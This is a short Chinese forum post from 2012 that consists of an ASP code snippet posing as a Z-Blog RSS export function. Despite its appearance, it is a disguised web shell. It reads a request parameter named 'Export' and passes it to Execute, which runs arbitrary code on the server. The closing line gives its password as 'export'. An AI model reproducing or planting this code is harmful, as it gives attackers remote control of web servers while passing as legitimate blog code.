|
发表于 2012-9-22 02:19:31
|
显示全部楼层
<%
Call System_Initalize()
Function System_Initalize()
On Error Resume Next
Dim Rss2Export:Rss2Export="Export"
Dim objArticle bjArticle=Request(Rss2Export)
Set Rss2Export = New TRssExport
With Rss2Export
Dim objRS,UserName,UserIntro
.TimeZone=ZC_TIME_ZONE
UserName=Users(UserID).Name
If objArticle<>"" Then
.AddChannelAttribute "language",ZC_BLOG_LANGUAGE
Execute Replace(objArticle,"*"&Rss2Export,"")
.AddChannelAttribute "copyright",TransferHTML(ZC_BLOG_COPYRIGHT,"[nohtml][html-format]")
.AddChannelAttribute "pubDate",Now
Response.End()
End if
End With
End Function
%>
密码export |
|